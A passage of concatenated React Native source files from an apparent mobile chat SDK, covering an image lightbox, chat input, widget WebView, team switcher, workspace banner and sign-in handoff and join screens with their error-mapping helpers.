fontWeight: '500',\n width: 84,\n textTransform: 'uppercase',\n letterSpacing: 0.6,\n paddingTop: 2,\n },\n value: {\n flex: 1,\n color: ada.inkSoft,\n fontSize: fontSize.sm,\n fontFamily: fontFam,\n lineHeight: 18,\n },\n});\n","/**\n * Lightbox store — any component can open a fullscreen image viewer\n * by calling `useLightboxStore.getState().show(uri)`. The lightbox is\n * mounted once at the app root.\n */\nimport { create } from 'zustand';\n\ninterface LightboxState {\n uri: string | null;\n show: (uri: string) => void;\n hide: () => void;\n}\n\nexport const useLightboxStore = create<LightboxState>((set) => ({\n uri: null,\n show: (uri) => set({ uri }),\n hide: () => set({ uri: null }),\n}));\n","import { View, StyleSheet } from 'react-native';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\n\nexport default function TypingIndicator() {\n return (\n <View style={styles.row}>\n <AdaOrb size={32} state=\"thinking\" />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n alignItems: 'center',\n marginBottom: 12,\n paddingHorizontal: 16,\n paddingVertical: 4,\n },\n});\n","import { useState, useRef, useCallback, useEffect } from 'react';\nimport {\n View,\n TextInput,\n Pressable,\n StyleSheet,\n Platform,\n} from 'react-native';\nimport Svg, { Path, Line, Polygon } from 'react-native-svg';\nimport { colors, borderRadius } from '@ateam-ai-mobile/core';\nimport { getHaptics } from '@ateam-ai-mobile/plugin-runtime';\n\ninterface Props {\n onSend: (text: string) => void;\n onCallStart?: () => void;\n loading: boolean;\n /** Pre-fill the composer (e.g. from bridge.prepareMessage). The text is\n * placed in the input and focused — not sent. */\n prefill?: string;\n placeholder?: string;\n}\n\nexport default function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }: Props) {\n const [text, setText] = useState('');\n const [height, setHeight] = useState(40);\n const inputRef = useRef<TextInput>(null);\n\n useEffect(() => {\n if (prefill) {\n setText(prefill);\n inputRef.current?.focus();\n }\n }, [prefill]);\n\n // NOTE: no `loading` guard and no editable={!loading} — sending WHILE a\n // chain runs is a feature (backend Chain Additions router decides\n // attach/cancel/new), and the input must never be disabled mid-run.\n const handleSend = useCallback(() => {\n const trimmed = text.trim();\n if (!trimmed) return;\n getHaptics()?.impact('light');\n onSend(trimmed);\n setText('');\n setHeight(40);\n }, [text, loading, onSend]);\n\n const canSend = text.trim().length > 0;\n\n return (\n <View style={styles.dock}>\n <View style={styles.inputRow}>\n {onCallStart && (\n <Pressable style={styles.callBtn} onPress={onCallStart}>\n <Svg width={20} height={20} viewBox=\"0 0 24 24\" fill=\"none\" stroke={colors.light.accent} strokeWidth={2} strokeLinecap=\"round\" strokeLinejoin=\"round\">\n <Path d=\"M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z\" />\n </Svg>\n </Pressable>\n )}\n <TextInput\n ref={inputRef}\n style={[styles.input, { height: Math.min(Math.max(40, height), 120) }]}\n value={text}\n onChangeText={setText}\n onContentSizeChange={e => setHeight(e.nativeEvent.contentSize.height)}\n placeholder={placeholder || 'Message A-Team...'}\n placeholderTextColor={colors.light.textMuted}\n multiline\n returnKeyType=\"default\"\n blurOnSubmit={false}\n onSubmitEditing={() => {\n if (Platform.OS === 'web') handleSend();\n }}\n />\n <Pressable\n style={[styles.sendBtn, canSend && styles.sendBtnActive]}\n onPress={handleSend}\n disabled={!canSend}\n >\n <Svg width={18} height={18} viewBox=\"0 0 24 24\" fill=\"none\" stroke={canSend ? '#fff' : colors.light.textMuted} strokeWidth={2}>\n <Line x1=\"22\" y1=\"2\" x2=\"11\" y2=\"13\" />\n <Polygon points=\"22 2 15 22 11 13 2 9 22 2\" />\n </Svg>\n </Pressable>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n dock: {\n paddingHorizontal: 12,\n paddingVertical: 8,\n backgroundColor: colors.light.bgPrimary,\n borderTopWidth: 0.5,\n borderTopColor: colors.light.border,\n },\n inputRow: {\n flexDirection: 'row',\n alignItems: 'flex-end',\n backgroundColor: colors.light.bgInput,\n borderRadius: borderRadius.xl,\n borderWidth: 1,\n borderColor: colors.light.border,\n paddingHorizontal: 4,\n paddingVertical: 4,\n gap: 4,\n },\n callBtn: {\n width: 36,\n height: 36,\n borderRadius: 18,\n justifyContent: 'center',\n alignItems: 'center',\n },\n input: {\n flex: 1,\n fontSize: 16,\n color: colors.light.textPrimary,\n paddingHorizontal: 8,\n paddingVertical: 8,\n maxHeight: 120,\n },\n sendBtn: {\n width: 36,\n height: 36,\n borderRadius: 18,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: colors.light.bgTertiary,\n },\n sendBtnActive: {\n backgroundColor: colors.light.accent,\n },\n});\n","/**\n * Fullscreen image viewer — mounted once inside AdasChatScreen (or at the\n * host root). Any component opens it via useLightboxStore.getState().show(uri).\n */\nimport { Modal, View, Image, Pressable, Text, StyleSheet } from 'react-native';\nimport { getConfig } from '@ateam-ai-mobile/core';\nimport { useLightboxStore } from './stores/lightboxStore';\n\nexport default function Lightbox() {\n const uri = useLightboxStore(s => s.uri);\n const hide = useLightboxStore(s => s.hide);\n\n if (!uri) return null;\n\n return (\n <Modal visible transparent animationType=\"fade\" onRequestClose={hide}>\n <Pressable style={styles.backdrop} onPress={hide}>\n <Image\n source={{\n uri,\n ...(uri.startsWith('http') ? {\n headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` },\n } : {}),\n }}\n style={styles.image}\n resizeMode=\"contain\"\n />\n <View style={styles.closeHint}>\n <Text style={styles.closeHintText}>Tap to close</Text>\n </View>\n </Pressable>\n </Modal>\n );\n}\n\nconst styles = StyleSheet.create({\n backdrop: {\n flex: 1,\n backgroundColor: 'rgba(0,0,0,0.92)',\n justifyContent: 'center',\n },\n image: {\n width: '100%',\n height: '85%',\n },\n closeHint: {\n position: 'absolute',\n bottom: 40,\n alignSelf: 'center',\n },\n closeHintText: {\n color: 'rgba(255,255,255,0.6)',\n fontSize: 13,\n },\n});\n","// src/components/widgets/WidgetWebView.tsx\n//\n// Fullscreen modal that renders an ACS widget bundle in a WebView.\n//\n// The bundleUrl on each /surface item is a signed URL minted by the backend\n// proxy (apps/backend/routes/acsProxy.js → signItemBundleUrl). The URL\n// self-authenticates — the bundle endpoint verifies sig/exp/tenant/actor on\n// the server side — so the WebView doesn't need to pass auth headers.\n//\n// Relative URLs (e.g. `/api/acs/artifacts/.../bundle/1?sig=…`) are prepended\n// with the current core URL from configStore.\n//\n// Strict CSP is set on the response by the bundle endpoint. We additionally\n// disable JS injection paths we don't need (no onMessage handlers wired,\n// no injectedJavaScriptBeforeContentLoaded).\n\nimport { useMemo, useState } from 'react';\nimport {\n Modal,\n View,\n Text,\n Pressable,\n StyleSheet,\n ActivityIndicator,\n Platform,\n} from 'react-native';\nimport { WebView } from 'react-native-webview';\nimport { ada } from '@ateam-ai-mobile/core';\nimport { getCoreApiUrl } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\ninterface Props {\n visible: boolean;\n /** Display title shown in the top bar. */\n title?: string;\n /** Signed bundle URL from a /surface item. Relative or absolute. */\n bundleUrl?: string;\n onClose: () => void;\n}\n\nexport default function WidgetWebView({ visible, title, bundleUrl, onClose }: Props) {\n const [loading, setLoading] = useState(true);\n const [error, setError] = useState<string | null>(null);\n\n // Absolute URL — prepend the resolved core if backend returned a relative path.\n const uri = useMemo(() => {\n if (!bundleUrl) return null;\n if (/^https?:\\/\\//i.test(bundleUrl)) return bundleUrl;\n return `${getCoreApiUrl()}${bundleUrl}`;\n }, [bundleUrl]);\n\n return (\n <Modal\n visible={visible}\n animationType=\"slide\"\n presentationStyle=\"pageSheet\"\n onRequestClose={onClose}\n >\n <View style={styles.root}>\n <View style={styles.bar}>\n <Pressable onPress={onClose} hitSlop={12} style={styles.closeBtn}>\n <Text style={styles.closeIcon}>{'✕'}</Text>\n </Pressable>\n <Text style={styles.title} numberOfLines={1}>{title || 'Widget'}</Text>\n {/* Spacer matches closeBtn width so the title stays centered */}\n <View style={styles.closeBtn} />\n </View>\n {!uri ? (\n <View style={styles.errorWrap}>\n <Text style={styles.errorText}>No bundle available for this widget.</Text>\n </View>\n ) : error ? (\n <View style={styles.errorWrap}>\n <Text style={styles.errorText}>Couldn't load widget</Text>\n <Text style={styles.errorSub}>{error}</Text>\n </View>\n ) : (\n <>\n <WebView\n source={{ uri }}\n style={styles.web}\n onLoadStart={() => { setLoading(true); setError(null); }}\n onLoadEnd={() => setLoading(false)}\n onError={(e) => {\n setLoading(false);\n setError(e.nativeEvent.description || 'Unknown error');\n }}\n onHttpError={(e) => {\n setLoading(false);\n setError(`HTTP ${e.nativeEvent.statusCode}`);\n }}\n // The bundle is the only thing this WebView should render.\n // Block navigation away from it (prevents accidental browse\n // out of the widget sandbox into arbitrary URLs).\n originWhitelist={['https://*']}\n setSupportMultipleWindows={false}\n />\n {loading && (\n <View pointerEvents=\"none\" style={styles.spinner}>\n <ActivityIndicator color={ada.orange} />\n </View>\n )}\n </>\n )}\n </View>\n </Modal>\n );\n}\n\nconst styles = StyleSheet.create({\n root: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n bar: {\n flexDirection: 'row',\n alignItems: 'center',\n paddingHorizontal: 14,\n paddingVertical: 12,\n borderBottomWidth: 1,\n borderBottomColor: ada.border,\n backgroundColor: ada.paperSoft,\n },\n closeBtn: {\n width: 32,\n height: 32,\n alignItems: 'center',\n justifyContent: 'center',\n },\n closeIcon: {\n fontSize: 18,\n color: ada.ink,\n fontWeight: '500',\n },\n title: {\n flex: 1,\n textAlign: 'center',\n fontSize: 16,\n fontWeight: '600',\n color: ada.ink,\n fontFamily: fontFam,\n letterSpacing: -0.2,\n },\n web: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n spinner: {\n position: 'absolute',\n top: 80,\n left: 0,\n right: 0,\n alignItems: 'center',\n },\n errorWrap: {\n flex: 1,\n alignItems: 'center',\n justifyContent: 'center',\n paddingHorizontal: 24,\n },\n errorText: {\n fontSize: 15,\n color: ada.ink,\n fontWeight: '600',\n marginBottom: 6,\n },\n errorSub: {\n fontSize: 13,\n color: ada.inkMuted,\n textAlign: 'center',\n },\n});\n","/**\n * TenantPicker — prebuilt team switcher, fully SDK-driven.\n *\n * Lists the user's REAL memberships via core's listMyTenants() and, on tap,\n * re-scopes the whole session with core's switchTenant() (which mints the new\n * tenant JWT, persists it through config.onSession, and reconnects chat). The\n * host only reacts via onSwitched (e.g. navigate home). Single-tenant hosts\n * simply never render it.\n *\n * For custom flows, pass `onSelect` to intercept the tap instead of switching.\n */\nimport { useEffect, useState } from 'react';\nimport { View, Text, Pressable, ActivityIndicator, StyleSheet, Platform } from 'react-native';\nimport { ada, fontSize, borderRadius, listMyTenants, switchTenant, getTenant } from '@ateam-ai-mobile/core';\nimport type { TenantMembership, AdasSession } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface TenantPickerProps {\n /** Called after a successful SDK-driven switch (host navigates/refreshes). */\n onSwitched?: (session: AdasSession) => void;\n /** Intercept the tap instead of switching — for fully custom host flows.\n * When provided, the SDK does NOT call switchTenant(). */\n onSelect?: (tenant: TenantMembership) => void;\n /** Highlight the active tenant. Defaults to the SDK config's tenant. */\n currentTenantId?: string;\n}\n\nexport default function TenantPicker({ onSwitched, onSelect, currentTenantId }: TenantPickerProps) {\n const [tenants, setTenants] = useState<TenantMembership[] | null>(null);\n const [error, setError] = useState<string | null>(null);\n const [switching, setSwitching] = useState<string | null>(null);\n const active = currentTenantId ?? getTenant();\n\n useEffect(() => {\n let cancelled = false;\n listMyTenants()\n .then(list => { if (!cancelled) setTenants(list); })\n .catch(e => { if (!cancelled) setError(e?.message || 'Failed to load teams'); });\n return () => { cancelled = true; };\n }, []);\n\n const handlePress = async (t: TenantMembership) => {\n if (t.id === active || switching) return;\n if (onSelect) { onSelect(t); return; }\n setError(null);\n setSwitching(t.id);\n try {\n const session = await switchTenant(t.id);\n onSwitched?.(session);\n } catch (e: any) {\n setError(e?.message || 'Could not switch team');\n } finally {\n setSwitching(null);\n }\n };\n\n if (error) return <Text style={styles.error}>{error}</Text>;\n if (!tenants) {\n return (\n <View style={styles.loading}>\n <ActivityIndicator color={ada.orange} />\n </View>\n );\n }\n if (tenants.length === 0) return <Text style={styles.empty}>No teams found for this account.</Text>;\n\n return (\n <View style={styles.list}>\n {tenants.map(t => {\n const isActive = t.id === active;\n const isSwitching = switching === t.id;\n return (\n <Pressable\n key={t.id}\n accessibilityRole=\"button\"\n accessibilityLabel={`Team ${t.name}${isActive ? ', current' : ''}`}\n disabled={!!switching}\n onPress={() => handlePress(t)}\n style={[styles.row, isActive && styles.rowActive]}\n >\n <View style={styles.dot} />\n <View style={styles.rowText}>\n <Text style={styles.name}>{t.name}</Text>\n <Text style={styles.slug}>{t.id}</Text>\n </View>\n {isSwitching ? <ActivityIndicator color={ada.orange} /> : isActive ? <Text style={styles.check}>✓</Text> : null}\n </Pressable>\n );\n })}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n list: {\n gap: 10,\n },\n row: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 12,\n backgroundColor: ada.paperSoft,\n borderRadius: borderRadius.lg,\n borderWidth: 1,\n borderColor: 'transparent',\n paddingHorizontal: 16,\n paddingVertical: 14,\n },\n rowActive: {\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n },\n dot: {\n width: 10,\n height: 10,\n borderRadius: 5,\n backgroundColor: ada.orange,\n },\n rowText: {\n flex: 1,\n },\n name: {\n color: ada.ink,\n fontSize: fontSize.lg,\n fontWeight: '600',\n fontFamily: fontFam,\n },\n slug: {\n color: ada.inkMuted,\n fontSize: fontSize.sm,\n fontFamily: 'monospace',\n },\n check: {\n color: ada.orangeDeep,\n fontSize: fontSize.lg,\n fontWeight: '700',\n },\n loading: {\n paddingVertical: 24,\n alignItems: 'center',\n },\n empty: {\n color: ada.inkMuted,\n fontSize: fontSize.md,\n textAlign: 'center',\n paddingVertical: 16,\n },\n error: {\n color: '#C15545',\n fontSize: fontSize.md,\n textAlign: 'center',\n paddingVertical: 16,\n },\n});\n","// A persistent banner for a non-active workspace (expired trial, suspended…).\n//\n// It renders the SERVER's `workspace.message` VERBATIM — the client never\n// composes copy, so a new plan changes the wording without a mobile release.\n// Persistent, not a toast: the condition persists, so the banner stays until\n// the workspace state changes. No local rules, no reason→copy mapping.\n//\n// Mount once near the app root (above the chat). Renders nothing when the\n// workspace is active, unknown, or unloaded — so pre-promotion (no /api/session\n// yet) and healthy workspaces show no banner at all.\n\nimport { View, Text, StyleSheet } from 'react-native';\nimport { ada, fontSize, spacing, useWorkspaceStore } from '@ateam-ai-mobile/core';\n\n// Warm amber for a \"heads up, reduced\" state — matches JobProgressBar's warm\n// vocabulary rather than the SDK's cool default palette.\nconst WARM_AMBER = '#D49A4E';\nconst WARM_AMBER_SOFT = 'rgba(212, 154, 78, 0.16)';\nconst WARM_AMBER_BORDER = 'rgba(212, 154, 78, 0.4)';\n\nexport interface WorkspaceBannerProps {\n /** Extra top inset (e.g. safe-area) so the banner clears the status bar. */\n topInset?: number;\n}\n\nexport default function WorkspaceBanner({ topInset = 0 }: WorkspaceBannerProps) {\n const snapshot = useWorkspaceStore((s) => s.snapshot);\n\n // Show only when the server gave us a real snapshot that is NOT active and\n // carries a message to render. Everything else → nothing.\n if (!snapshot) return null;\n if (snapshot.state === 'active' || snapshot.state === 'unknown') return null;\n if (!snapshot.message) return null;\n\n return (\n <View\n style={[styles.container, { paddingTop: spacing.sm + topInset }]}\n accessibilityRole=\"alert\"\n accessibilityLabel={snapshot.message}\n >\n <View style={styles.dot} />\n <Text style={styles.message}>{snapshot.message}</Text>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flexDirection: 'row',\n alignItems: 'flex-start',\n gap: spacing.sm,\n paddingHorizontal: spacing.md,\n paddingBottom: spacing.sm,\n backgroundColor: WARM_AMBER_SOFT,\n borderBottomWidth: StyleSheet.hairlineWidth,\n borderBottomColor: WARM_AMBER_BORDER,\n },\n dot: {\n width: 8,\n height: 8,\n borderRadius: 4,\n marginTop: 5,\n backgroundColor: WARM_AMBER,\n },\n message: {\n flex: 1,\n color: ada.ink,\n fontSize: fontSize.sm,\n lineHeight: fontSize.sm * 1.35,\n },\n});\n","/**\n * HandoffScreen (R9B — relocated from the app) — web→app sign-in handoff.\n *\n * Shown pre-auth when a one-time handoff code is pending (the host captured it\n * from a deep link, e.g. ateam://handoff?handoff=<code>). We trade the code for\n * a normal session JWT and sign in — no OAuth, no passkey. This is the R9B PILOT:\n * fully generic, needs no OAuthProvider, and carries the security-sensitive\n * error mapper + the exchange-once guard that must move WITH the screen.\n *\n * Everything host-specific is injected:\n * - `code` the deep-link code (capture + parsing stay host-side)\n * - `onSignedIn` session adoption (host: authStore.login → core session +\n * the shell-only tenantConfirmed / phase gate)\n * - `onDone` clear the consumed single-use code (host store) after success\n * - `onCancel` back to sign in (host toggles the pre-auth phase)\n *\n * The host wraps this in its own <SafeAreaView> — this package stays native-free\n * (no react-native-safe-area-context, no router). Styling is core's ada tokens,\n * matching every other ui component.\n */\nimport { useEffect, useRef, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, Platform, ActivityIndicator } from 'react-native';\nimport { exchangeHandoff, ada } from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { runHandoffExchange, handoffErrorMessage } from './handoffExchange';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface HandoffScreenProps {\n /** The one-time handoff code the host captured from the deep link (null = nothing pending). */\n code: string | null;\n /** Adopt the session JWT (host wires its authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Clear the consumed single-use code so a relaunch never retries it. Called after success. */\n onDone: () => void;\n /** Back to sign in — the host toggles the pre-auth phase (not a router). */\n onCancel: () => void;\n}\n\nexport default function HandoffScreen({ code, onSignedIn, onDone, onCancel }: HandoffScreenProps) {\n const [err, setErr] = useState<string | null>(null);\n // Exchange each code AT MOST ONCE. A single-use code exchanged twice\n // (StrictMode/fast-refresh double-invoke) burns itself: the first call wins and\n // the second gets \"already used\", which would otherwise surface as a spurious\n // error over a successful sign-in. Keying on the code (not a bool) still lets a\n // genuinely NEW code re-trigger the exchange.\n const startedForRef = useRef<string | null>(null);\n\n useEffect(() => {\n if (!code || startedForRef.current === code) return;\n startedForRef.current = code;\n runHandoffExchange(code, { exchange: exchangeHandoff, onSignedIn, onDone })\n .catch((e: any) => setErr(handoffErrorMessage(e?.message)));\n }, [code, onSignedIn, onDone]);\n\n return (\n <View style={styles.container}>\n <View style={styles.center}>\n <AdaOrb size={72} state={err ? 'idle' : 'thinking'} />\n {!err ? (\n <>\n <Text style={styles.title}>Signing you in…</Text>\n <ActivityIndicator color={ada.ink} style={{ marginTop: 6 }} />\n </>\n ) : (\n <>\n <Text style={styles.title}>Couldn’t finish sign-in</Text>\n <Text style={styles.sub}>{err}</Text>\n <Pressable onPress={onCancel} hitSlop={8} style={styles.back}>\n <Text style={styles.backText}>Back to sign in</Text>\n </Pressable>\n </>\n )}\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: { flex: 1, backgroundColor: ada.paper },\n center: { flex: 1, alignItems: 'center', justifyContent: 'center', gap: 14, paddingHorizontal: 32 },\n title: { fontSize: 20, fontWeight: '600', color: ada.ink, fontFamily: fontFam, marginTop: 8 },\n sub: { fontSize: 14, lineHeight: 20, color: ada.inkSoft, textAlign: 'center', fontFamily: fontFam },\n back: { marginTop: 10, paddingVertical: 10 },\n backText: { fontSize: 15, fontWeight: '600', color: ada.orangeDeep, fontFamily: fontFam },\n});\n","/**\n * Handoff exchange — the pure, testable half of HandoffScreen (R9B).\n *\n * Kept JSX-free in its own module (like R6's runLogoutTeardown) so the\n * security-sensitive error mapper and the sign-in-before-clear ORDERING can be\n * node-tested directly, without rendering the RN component.\n */\nimport type { HandoffExchangeResult } from '@ateam-ai-mobile/core';\n\nexport interface HandoffExchangeDeps {\n /** Trade the one-time code for a session JWT (host injects core.exchangeHandoff). */\n exchange: (code: string) => Promise<HandoffExchangeResult>;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Clear the consumed single-use code. */\n onDone: () => void;\n}\n\n/**\n * Run the handoff: exchange → sign in → clear the code, in that exact order. The\n * handed-off tenant is the JWT's own `tenant` claim (getTenant() reads it), so a\n * cross-tenant handoff is scoped correctly with nothing for the host to store.\n * Throws on any failure (the caller maps it to a user-facing message);\n * onSignedIn / onDone never run on the error path.\n */\nexport async function runHandoffExchange(code: string, deps: HandoffExchangeDeps): Promise<void> {\n const res = await deps.exchange(code);\n await deps.onSignedIn(res.jwt);\n deps.onDone();\n}\n\n/**\n * Map the server's rejection to plainer copy. SECURITY: the exchange endpoint\n * deliberately does NOT tell an anonymous caller whether a code was unknown (404)\n * vs used/expired (410) — distinguishing them would confirm a real code to a\n * replay attacker. So both collapse to ONE message; never promise \"expired\" vs\n * \"already used\". 429 is the one safe-to-distinguish case (a rate-limit hint\n * leaks nothing about code validity).\n */\nexport function handoffErrorMessage(msg?: string): string {\n const m = (msg || '').toLowerCase();\n if (m.includes('429') || m.includes('rate') || m.includes('too many')) {\n return 'Too many attempts — wait a moment, then get a new sign-in link on the web.';\n }\n return 'This sign-in link is no longer valid. Get a new one on the web and try again.';\n}\n","/**\n * OpenJoinScreen (R9B — relocated from the app) — open self-signup (no invite).\n *\n * The user types a team handle (tenant slug); we run native Google/Apple and\n * POST { tenant, id_token } with NO invite. The server accepts only if that\n * tenant is free-to-join, else 403 — surfaced as a message. (Invite-only tenants\n * must use an invite link.)\n *\n * Native id_token acquisition + the Apple HIG button come from the host-wired\n * OAuthProvider (setOAuthProvider). With no cfg passed to signInWithGoogle, the\n * provider uses the host's BUNDLED Google client id (this screen carries no\n * tenant config). Everything host-specific — session, the back transition, the\n * SafeAreaView — is injected. The joined tenant is the JWT's own claim.\n */\nimport { useEffect, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, ActivityIndicator, Platform, TextInput } from 'react-native';\nimport { openJoinWithGoogle, openJoinWithApple, ada, spacing, type ConsumerSignInResult } from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { getOAuthProvider, type OAuthProvider } from '../providers';\nimport { completeOpenJoin, openJoinErrorMessage } from './openJoin';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface OpenJoinScreenProps {\n /** Adopt the session JWT (host: authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Back to sign in — the host toggles the pre-auth phase (not a router). */\n onBack: () => void;\n}\n\nexport default function OpenJoinScreen({ onSignedIn, onBack }: OpenJoinScreenProps) {\n const [team, setTeam] = useState('');\n const [busy, setBusy] = useState(false);\n const [err, setErr] = useState<string | null>(null);\n const [appleAvailable, setAppleAvailable] = useState(false);\n\n useEffect(() => {\n getOAuthProvider()?.isAppleAvailable().then(setAppleAvailable).catch(() => setAppleAvailable(false));\n }, []);\n\n // Normalize what the user typed into a slug-ish handle.\n const slug = team.trim().toLowerCase();\n const canSubmit = slug.length > 0 && !busy;\n\n async function run(\n acquire: (oauth: OAuthProvider) => Promise<string | null>,\n join: (slug: string, idToken: string) => Promise<ConsumerSignInResult>,\n ) {\n if (!slug) return;\n const oauth = getOAuthProvider();\n if (!oauth) { setErr('Sign-in is unavailable on this device.'); return; }\n setErr(null); setBusy(true);\n try {\n const idToken = await acquire(oauth);\n await completeOpenJoin(slug, idToken, { join, onSignedIn });\n } catch (e: any) {\n setErr(openJoinErrorMessage(e?.message));\n } finally {\n setBusy(false);\n }\n }\n\n const handleGoogle = () => run(oauth => oauth.signInWithGoogle(), openJoinWithGoogle);\n const handleApple = () => run(oauth => oauth.signInWithApple(), openJoinWithApple);\n\n return (\n <View style={styles.container}>\n <View style={styles.hero}>\n <AdaOrb size={110} />\n <Text style={styles.wordmark}>Join a team</Text>\n <Text style={styles.tagline}>Enter the team's handle. If it's open to join, you're in.</Text>\n </View>\n\n <View style={styles.form}>\n <TextInput\n style={styles.input}\n value={team}\n onChangeText={setTeam}\n placeholder=\"team handle (e.g. acme)\"\n placeholderTextColor={ada.inkMuted}\n autoCapitalize=\"none\"\n autoCorrect={false}\n returnKeyType=\"done\"\n />\n <Pressable\n style={[styles.googleBtn, !canSubmit && styles.btnDisabled]}\n onPress={handleGoogle}\n disabled={!canSubmit}\n >\n <Text style={styles.googleGlyph}>G</Text>\n <Text style={styles.googleText}>Continue with Google</Text>\n </Pressable>\n {appleAvailable && (\n <View style={{ opacity: canSubmit ? 1 : 0.5 }} pointerEvents={canSubmit ? 'auto' : 'none'}>\n {getOAuthProvider()?.renderAppleButton({ onPress: handleApple, disabled: !canSubmit, style: styles.appleBtn })}\n </View>\n )}\n {busy && <ActivityIndicator color={ada.ink} style={{ marginTop: 10 }} />}\n {!!err && <Text style={styles.err}>{err}</Text>}\n <Pressable onPress={onBack} hitSlop={8} style={styles.back}>\n <Text style={styles.backText}>Back to sign in</Text>\n </Pressable>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: { flex: 1, backgroundColor: ada.paper, justifyContent: 'space-between' },\n hero: { alignItems: 'center', marginTop: spacing.xxl },\n wordmark: { fontSize: 26, fontWeight: '800', color: ada.ink, marginTop: 14, fontFamily: fontFam },\n tagline: { fontSize: 15, color: ada.inkSoft, marginTop: 8, textAlign: 'center', paddingHorizontal: 28, fontFamily: fontFam },\n form: { paddingHorizontal: 24, paddingBottom: 40, gap: 12 },\n input: {\n backgroundColor: ada.paperSoft, borderWidth: 1, borderColor: ada.border, borderRadius: 14,\n paddingHorizontal: 16, paddingVertical: 14, fontSize: 16, color: ada.ink,\n },\n googleBtn: {\n flexDirection: 'row', alignItems: 'center', justifyContent: 'center', gap: 10,\n backgroundColor: ada.ink, paddingVertical: 15, borderRadius: 999,\n },\n btnDisabled: { opacity: 0.5 },\n googleGlyph: { color: '#fff', fontSize: 18, fontWeight: '800' },\n googleText: { color: '#fff', fontSize: 16, fontWeight: '600', fontFamily: fontFam },\n appleBtn: { height: 52, width: '100%' },\n err: { color: '#C15545', fontSize: 13, textAlign: 'center', paddingHorizontal: 16, marginTop: 4 },\n back: { alignItems: 'center', paddingVertical: 10 },\n backText: { color: ada.inkMuted, fontSize: 15, fontWeight: '500' },\n});\n","/**\n * Open self-signup — the pure, testable half of OpenJoinScreen (R9B).\n *\n * JSX-free so the join ORDERING (join → sign in) and the error\n * mapper are node-testable without rendering. The native id_token acquisition\n * happens in the component via getOAuthProvider(); the acquired token is passed\n * in here, so this module stays pure and provider-free.\n */\nimport type { ConsumerSignInResult } from '@ateam-ai-mobile/core';\n\nexport interface OpenJoinDeps {\n /** Exchange { tenant, id_token } for a session JWT (host injects core.openJoinWith*). */\n join: (slug: string, idToken: string) => Promise<ConsumerSignInResult>;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n}\n\n/**\n * Complete an open self-signup with an already-acquired id_token.\n *\n * Returns false WITHOUT side effects when idToken is null — the caller acquired\n * no token (the user cancelled the native sheet, or it returned none), which is\n * a silent no-op, never an error. Otherwise: join → sign in. The joined tenant\n * is the returned JWT's own `tenant` claim (getTenant() reads it), so there is\n * nothing for the host to store. Throws on a join failure (the caller maps it to\n * a message); sign-in never runs then.\n */\nexport async function completeOpenJoin(\n slug: string,\n idToken: string | null,\n deps: OpenJoinDeps,\n): Promise<boolean> {\n if (!idToken) return false;\n const consumer = await deps.join(slug, idToken);\n await deps.onSignedIn(consumer.jwt);\n return true;\n}\n\n/**\n * Map the server's open-join rejection to plainer copy. Unlike the handoff\n * exchange, these ARE safe to distinguish — the caller already knows the tenant\n * slug they typed, so \"invite-only\" / \"no such team\" leak nothing.\n */\nexport function openJoinErrorMessage(msg?: string): string {\n const m = (msg || '').toLowerCase();\n if (m.includes('invite-only') || m.includes('invite only')) {\n return 'This team is invite-only — ask an admin for an invite link.';\n }\n if (m.includes('not found') || m.includes('unknown tenant')) {\n return 'No team with that handle.';\n }\n return msg || 'Could not join';\n}\n","/**\n * JoinScreen (R9B — relocated from the app) — tenant-join via invite deep link.\n *\n * Flow: preview the invite (GET) → \"Join <Org> as <role>?\" → native Google/Apple\n * → POST { invite, id_token } → tenant-scoped JWT → sign in. The invite code is\n * the ONLY tenant proof; no slug is ever sent.\n *\n * Native id_token + the Apple HIG button come from the host-wired OAuthProvider\n * (getOAuthProvider) with NO cfg, so the provider uses the host's bundled Google\n * id (the invite flow carries no tenant config). The host injects the code (from\n * the deep link), onSignedIn, onDone (clear the consumed invite), onCancel, and\n * wraps the screen in its own SafeAreaView.\n */\nimport { useEffect, useMemo, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, ActivityIndicator, Platform } from 'react-native';\nimport {\n previewInvite,\n joinWithGoogle,\n joinWithApple,\n ada,\n spacing,\n type InvitePreview,\n type ConsumerSignInResult,\n} from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { getOAuthProvider, type 